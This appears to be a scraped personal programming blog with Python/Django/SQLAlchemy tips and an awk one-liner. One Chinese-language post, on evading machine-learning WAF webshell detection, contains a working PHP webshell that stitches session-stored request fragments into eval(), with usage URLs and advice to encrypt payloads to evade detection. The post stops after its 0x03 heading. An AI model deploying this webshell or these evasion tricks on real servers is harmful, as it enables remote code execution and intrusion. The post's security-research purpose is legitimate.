Use github issue as blog backend

just use this script!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#coding:utf-8
import sys
import io
if __name__ == '__main__':
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')

import json
import requests as req

url = "https://api.github.com/repos/Ph0enixxx/articles/issues"
file_template = """
title: %s

date: %s

tags:
---

%s
"""
cnt = 0

get_text = lambda url :req.get(url).text
get_json = lambda data : json.loads(data)
deal_data = lambda data : [{"title":i["title"].replace(":", ":").replace("[", "【").replace("]", "】"), "content":i["body"], "date":i["created_at"]} for i in data]
def to_file(template): #

def a(i):
with open("./source/_posts/" + str(cnt) + ".md", "w", encoding="utf-8") as fp:
global cnt
print("./source/_posts/" + str(cnt))
fp.write(template%(i['title'], i["date"], i['content']))
fp.close()
cnt += 1
return 233
return a


def main():
a = deal_data(get_json(get_text(url)))
print(a)
wt = to_file(file_template)
[wt(i) for i in a]
# map(wt, a)

main()

custom django model_to_dict with @property and readonly field

1
2
3
4
5
6
7
8
9
10
11
from django.db.models.query_utils import DeferredAttribute
def object_as_dict(obj):
data_dict = {}#{k:getattr(obj, k) for k in dir(obj)}
for k in dir(obj):
try:
if isinstance(getattr(obj.__class__, k), DeferredAttribute) or isinstance(getattr(obj.__class__, k), property):
data_dict[k] = getattr(obj, k)
except Exception as e:
print(e)
print k
return data_dict

【踩坑】Django中一个危险而隐蔽的坑

触发条件

1.使用inspectdb生产model文件
2.使用自己做的主键(如xxx_id)而非django自动生成主键
3.假设有model A 主键为自定义的a_id:

1
2
3
4
>>> a1 = A(a_id=1, name="杨子荣")
>>> a1.save()
>>> a2 = A(a_id=1, name="座山雕")
>>> a2.save()

以上操作并没有报错,然而当打开数据库时,会发现数据被替换了。

解决方案

用 obj.save(force_insert=True) 来代替save()

【reprint】An excellent way to add request.PUT to Django

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def coerce_put_post(request):
"""
The try/except abominiation here is due to a bug
in mod_python. This should fix it.
"""
if request.method == "PUT":
# Bug fix: if _load_post_and_files has already been called, for
# example by middleware accessing request.POST, the below code to
# pretend the request is a POST instead of a PUT will be too late
# to make a difference. Also calling _load_post_and_files will result
# in the following exception:
# AttributeError: You cannot set the upload handlers after the upload has been processed.
# The fix is to check for the presence of the _post field which is set
# the first time _load_post_and_files is called (both by wsgi.py and
# modpython.py). If it's set, the request has to be 'reset' to redo
# the query value parsing in POST mode.
if hasattr(request, '_post'):
del request._post
del request._files

try:
request.method = "POST"
request._load_post_and_files()
request.method = "PUT"
except AttributeError:
request.META['REQUEST_METHOD'] = 'POST'
request._load_post_and_files()
request.META['REQUEST_METHOD'] = 'PUT'

request.PUT = request.POST

source https://thihara.github.io/Django-Req-Parsing/

【SQLalchemy】filter_by can't use the 'like' query

use filter instead:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def __filter(self, order=None, order_type="asc", **kwargs):
try:
query_cond = {}
query_cond_like = []
for k, v in kwargs.items():
# 11.8 add like support
if '__contains' in k:
k = k.replace("__contains", "")
query_cond_like.append(self.table.__dict__[k].like("%"+v+"%"))
continue
if type(v) == type(u'unicode'):
query_cond[k] = v.encode('utf8')
else:
query_cond[k] = v
if order == None:
tmp = self.session.query(self.table).filter(*query_cond_like).filter_by(**query_cond)
else:
tmp = self.session.query(self.table).order_by(eval(order_type)(self.table.__dict__[order])).filter(*query_cond_like).filter_by(**query_cond)
return tmp #_sql
except Exception as e:
logging.error("sql search error kwars:%s" % kwargs)
logging.error(e)
return None

awk print last element of a line

1
2
3
4
5
6
7
8
9
10
11
12
`mac` char(17) NOT NULL DEFAULT '00:00:00:00:00:00' COMMENT 'mac地址',
`ip_addr` char(12) DEFAULT NULL COMMENT 'ip地址',
`origin_ip` char(12) DEFAULT NULL COMMENT '源ip(如果为kvm)',
`asset_type` char(20) NOT NULL DEFAULT '其他' COMMENT '资产类型',
`bussiness` char(20) NOT NULL DEFAULT '其他' COMMENT '业务类型',
`bussiness_version` char(15) DEFAULT NULL COMMENT '软件版本',
`leak_db_version` char(30) DEFAULT NULL COMMENT '漏洞库版本',
`setup_type` char(20) DEFAULT NULL COMMENT '部署架构',
`licence` char(30) DEFAULT NULL COMMENT '许可设置',
`trial_type` char(30) DEFAULT NULL COMMENT '试用方式',
`web_user` char(20) NOT NULL DEFAULT 'root' COMMENT 'web用户名',
`remark` char(200) DEFAULT NULL COMMENT '备注',

i want transform it to a json-like data then

cat a.txt|awk '{printf "%s:%s\n",$1,$NF}'

it works.

绕过基于机器学习WAF检测Webshell的几种思路

0x00 前言

昨晚跟舍友讨论如何检测Webshell的时候,整理了几种思路可以绕过/对抗当前基于机器学习进行检测webshell技术的弱点

0x01 上下文

基于机器学习的Webshell通常是获取用户对于网站的请求,然后基于统计学检测请求是否合法,同样需要匹配到一些敏感词(如:ev, va等),如果入侵者构造请求分批次传入,然后在最后某次结果输出,就可以利用$_SESSON等方法将多次请求的数据拼凑在一起,然后统一等待某个命令执行

例: evil.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
session_start();
$flag = "233";

if(!$_SESSION['exec']){
$_SESSION['exec']=array();
}

if($_REQUEST['uid']!==$flag){
$slice = $_REQUEST['uid'];
$_SESSION['exec'][] = $slice;
var_dump($_SESSION['exec']);
}
else{
$code = join("", $_SESSION['exec']);
var_dump($code);
eval($code);
session_destroy();
}

用法:

1
2
3
http://127.0.0.1:8080/evil.php?uid=echo
http://127.0.0.1:8080/evil.php?uid= 123123123;
http://127.0.0.1:8080/evil.php?uid=233

0x02 自定义加密算法/自定义编码

前面说到了,机器学习是基于统计学进行判断的,也就是说,如果已知足够多条同类加密算法的恶意代码,那么很有可能通过这些代码的信息推断出某些关键词(假设eval加密后为@#¥% ,那么可能直接能够得出匹配@#¥%的请求为不安全的)

解决方法如题,自定义/用带有密钥的加密算法即能够绕过此类检测,因为和已经统计到的数据是不一样的

### 0x03 基于混淆

【踩坑】ORM模型

注意Django的ORM和Sqlalchemy的模型是不一样的,

  • Django的不会自动提交、保存,你操作查询来的一个模型就是在操作一个普通的对象
  • Sqlalchemy的模型会在你修改时,默认同步到数据库,所以最好不要拿模型对象做一些中间值的计算,最好将值拿出来然后计算